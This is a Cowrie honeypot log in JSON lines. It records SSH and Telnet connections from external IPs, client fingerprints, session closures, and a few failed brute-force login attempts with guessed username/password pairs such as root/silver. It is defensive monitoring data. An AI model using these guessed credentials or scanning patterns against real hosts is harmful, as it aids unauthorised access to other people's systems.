{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:39.553205Z","src_ip":"167.172.81.52","session":"770d94ad47cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:39.557503Z","src_ip":"167.172.81.52","session":"770d94ad47cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"postgres","message":"login attempt [solana/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:39.643662Z","src_ip":"193.32.162.145","session":"32540301377f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.90594434738159,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:40.249877Z","src_ip":"192.119.13.58","session":"be248b38086e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.299582958221436,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:40.447462Z","src_ip":"192.119.13.58","session":"98cbfaf808f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:40.828308Z","src_ip":"193.32.162.145","session":"32540301377f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.753445625305176,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:40.926044Z","src_ip":"192.119.13.58","session":"01b473ecfaaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81968450546265,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:41.564294Z","src_ip":"192.119.13.58","session":"4ea34c085e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.05136966705322,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:47.193626Z","src_ip":"192.119.13.58","session":"71d765eaa385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":50410,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c0bf2499889","protocol":"ssh","message":"New connection: 103.75.183.219:50410 (10.17.0.5:22) [session: 8c0bf2499889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:49.280265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:49.285468Z","src_ip":"103.75.183.219","session":"8c0bf2499889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:49.587282Z","src_ip":"103.75.183.219","session":"8c0bf2499889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35010,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece1fa164b07","protocol":"telnet","message":"New connection: 192.119.13.58:35010 (10.17.0.5:23) [session: ece1fa164b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:50.513859Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"silver","message":"login attempt [root/silver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:51.305827Z","src_ip":"103.75.183.219","session":"8c0bf2499889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.758883237838745,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:53.140745Z","src_ip":"192.119.13.58","session":"797c8a67919d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45546,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46abc468ff3","protocol":"telnet","message":"New connection: 192.119.13.58:45546 (10.17.0.5:23) [session: c46abc468ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:53.148276Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:53.312409Z","src_ip":"103.75.183.219","session":"8c0bf2499889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.34572672843933,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:55.587443Z","src_ip":"192.119.13.58","session":"abe8a5e967e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.179043769836426,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:56.379035Z","src_ip":"192.119.13.58","session":"5b688d9f6b49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60484,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6dfae62662","protocol":"telnet","message":"New connection: 192.119.13.58:60484 (10.17.0.5:23) [session: 1f6dfae62662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:56.692979Z"}
{"eventid":"cowrie.session.closed","duration":35.024288177490234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:57.045059Z","src_ip":"192.119.13.58","session":"3fd139f1e673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36910,"dst_ip":"10.17.0.5","dst_port":23,"session":"8875673ec128","protocol":"telnet","message":"New connection: 192.119.13.58:36910 (10.17.0.5:23) [session: 8875673ec128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:57.788408Z"}
{"eventid":"cowrie.session.closed","duration":36.2214572429657,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:55:57.986020Z","src_ip":"192.119.13.58","session":"bc369eb23452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.9178204536438,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:00.852837Z","src_ip":"192.119.13.58","session":"d1343749c277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.851086378097534,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:03.246370Z","src_ip":"192.119.13.58","session":"bfe6024ab507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59982,"dst_ip":"10.17.0.5","dst_port":23,"session":"9912c6c72bc6","protocol":"telnet","message":"New connection: 192.119.13.58:59982 (10.17.0.5:23) [session: 9912c6c72bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:03.374793Z"}
{"eventid":"cowrie.session.closed","duration":40.79774212837219,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:03.386934Z","src_ip":"192.119.13.58","session":"0f959ab4ae37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.14632320404053,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:04.037674Z","src_ip":"192.119.13.58","session":"5dfb44b8f3a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.41440200805664,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:04.664979Z","src_ip":"192.119.13.58","session":"8549c3613f07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.02393198013306,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:05.206196Z","src_ip":"192.119.13.58","session":"8fd0250ccdd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.71558618545532,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:09.854854Z","src_ip":"192.119.13.58","session":"651e5dcecc75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33612,"dst_ip":"10.17.0.5","dst_port":23,"session":"503ba4eab9b2","protocol":"telnet","message":"New connection: 192.119.13.58:33612 (10.17.0.5:23) [session: 503ba4eab9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:10.721822Z"}
{"eventid":"cowrie.session.closed","duration":0.0053501129150390625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:10.727084Z","src_ip":"192.119.13.58","session":"503ba4eab9b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.89549160003662,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:13.926767Z","src_ip":"192.119.13.58","session":"4dd2ebb4f352","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53778,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbb8bf51bbaf","protocol":"telnet","message":"New connection: 192.119.13.58:53778 (10.17.0.5:23) [session: cbb8bf51bbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:15.305423Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54814,"dst_ip":"10.17.0.5","dst_port":23,"session":"35ff23047b5d","protocol":"telnet","message":"New connection: 192.119.13.58:54814 (10.17.0.5:23) [session: 35ff23047b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:15.538222Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33218,"dst_ip":"10.17.0.5","dst_port":23,"session":"72eeae4781bf","protocol":"telnet","message":"New connection: 192.119.13.58:33218 (10.17.0.5:23) [session: 72eeae4781bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:16.985708Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44326,"dst_ip":"10.17.0.5","dst_port":23,"session":"094ecd59c0fc","protocol":"telnet","message":"New connection: 192.119.13.58:44326 (10.17.0.5:23) [session: 094ecd59c0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:19.640414Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49004,"dst_ip":"10.17.0.5","dst_port":23,"session":"557c4866ae96","protocol":"telnet","message":"New connection: 192.119.13.58:49004 (10.17.0.5:23) [session: 557c4866ae96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:21.874908Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49950,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff031cd5731f","protocol":"telnet","message":"New connection: 192.119.13.58:49950 (10.17.0.5:23) [session: ff031cd5731f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:27.995448Z"}
{"eventid":"cowrie.session.closed","duration":37.82916831970215,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:28.342936Z","src_ip":"192.119.13.58","session":"ece1fa164b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58146,"dst_ip":"10.17.0.5","dst_port":23,"session":"24b0aa9a76b2","protocol":"telnet","message":"New connection: 192.119.13.58:58146 (10.17.0.5:23) [session: 24b0aa9a76b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:30.231037Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45432,"dst_ip":"10.17.0.5","dst_port":23,"session":"08ca98ecd024","protocol":"telnet","message":"New connection: 192.119.13.58:45432 (10.17.0.5:23) [session: 08ca98ecd024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:33.786335Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48344,"dst_ip":"10.17.0.5","dst_port":23,"session":"41bcd0287a4e","protocol":"telnet","message":"New connection: 192.119.13.58:48344 (10.17.0.5:23) [session: 41bcd0287a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:37.619332Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39456,"dst_ip":"10.17.0.5","dst_port":23,"session":"39974ab1b931","protocol":"telnet","message":"New connection: 192.119.13.58:39456 (10.17.0.5:23) [session: 39974ab1b931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:39.076635Z"}
{"eventid":"cowrie.session.closed","duration":36.039456605911255,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:39.414026Z","src_ip":"192.119.13.58","session":"9912c6c72bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42304,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7fb3fa15bd","protocol":"telnet","message":"New connection: 192.119.13.58:42304 (10.17.0.5:23) [session: 7f7fb3fa15bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:39.787040Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45714,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f8fdc915cc2","protocol":"telnet","message":"New connection: 192.119.13.58:45714 (10.17.0.5:23) [session: 4f8fdc915cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:40.597284Z"}
{"eventid":"cowrie.session.closed","duration":48.03302621841431,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:41.181118Z","src_ip":"192.119.13.58","session":"c46abc468ff3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.9905891418457,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:41.683427Z","src_ip":"192.119.13.58","session":"1f6dfae62662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51836,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e62c73b6d91","protocol":"telnet","message":"New connection: 192.119.13.58:51836 (10.17.0.5:23) [session: 1e62c73b6d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:41.959297Z"}
{"eventid":"cowrie.session.closed","duration":44.32281017303467,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:42.111092Z","src_ip":"192.119.13.58","session":"8875673ec128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34870,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6025570e8a","protocol":"telnet","message":"New connection: 192.119.13.58:34870 (10.17.0.5:23) [session: 1a6025570e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:44.586760Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39774,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d448a03c0ad","protocol":"telnet","message":"New connection: 192.119.13.58:39774 (10.17.0.5:23) [session: 6d448a03c0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:45.833649Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54194,"dst_ip":"10.17.0.5","dst_port":22,"session":"af3ea842f80d","protocol":"ssh","message":"New connection: 103.153.68.219:54194 (10.17.0.5:22) [session: af3ea842f80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:46.401587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:46.406067Z","src_ip":"103.153.68.219","session":"af3ea842f80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.257963180541992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:46.563276Z","src_ip":"192.119.13.58","session":"cbb8bf51bbaf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:46.652300Z","src_ip":"103.153.68.219","session":"af3ea842f80d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837","message":"login attempt [root/192837] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:47.390306Z","src_ip":"103.153.68.219","session":"af3ea842f80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:48.639103Z","src_ip":"103.153.68.219","session":"af3ea842f80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.20353364944458,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:49.741609Z","src_ip":"192.119.13.58","session":"35ff23047b5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34686,"dst_ip":"10.17.0.5","dst_port":23,"session":"0317ced7dba6","protocol":"telnet","message":"New connection: 192.119.13.58:34686 (10.17.0.5:23) [session: 0317ced7dba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:51.411138Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34734,"dst_ip":"10.17.0.5","dst_port":23,"session":"487be95bae36","protocol":"telnet","message":"New connection: 192.119.13.58:34734 (10.17.0.5:23) [session: 487be95bae36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:51.422532Z"}
{"eventid":"cowrie.session.closed","duration":35.27957844734192,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:54.919879Z","src_ip":"192.119.13.58","session":"094ecd59c0fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.604644775390625,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:56:55.590245Z","src_ip":"192.119.13.58","session":"72eeae4781bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53898,"dst_ip":"10.17.0.5","dst_port":23,"session":"e633715090b1","protocol":"telnet","message":"New connection: 192.119.13.58:53898 (10.17.0.5:23) [session: e633715090b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:02.446251Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59086,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d4c732955fb","protocol":"telnet","message":"New connection: 192.119.13.58:59086 (10.17.0.5:23) [session: 6d4c732955fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:03.732825Z"}
{"eventid":"cowrie.session.closed","duration":43.884949922561646,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:05.759539Z","src_ip":"192.119.13.58","session":"557c4866ae96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50892,"dst_ip":"10.17.0.5","dst_port":23,"session":"0534813792bd","protocol":"telnet","message":"New connection: 192.119.13.58:50892 (10.17.0.5:23) [session: 0534813792bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:08.739399Z"}
{"eventid":"cowrie.session.closed","duration":42.08586621284485,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:12.316777Z","src_ip":"192.119.13.58","session":"24b0aa9a76b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.8378164768219,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:12.624035Z","src_ip":"192.119.13.58","session":"08ca98ecd024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.21977758407593,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:13.215142Z","src_ip":"192.119.13.58","session":"ff031cd5731f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.008307456970215,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:17.084823Z","src_ip":"192.119.13.58","session":"39974ab1b931","protocol":"telnet"}
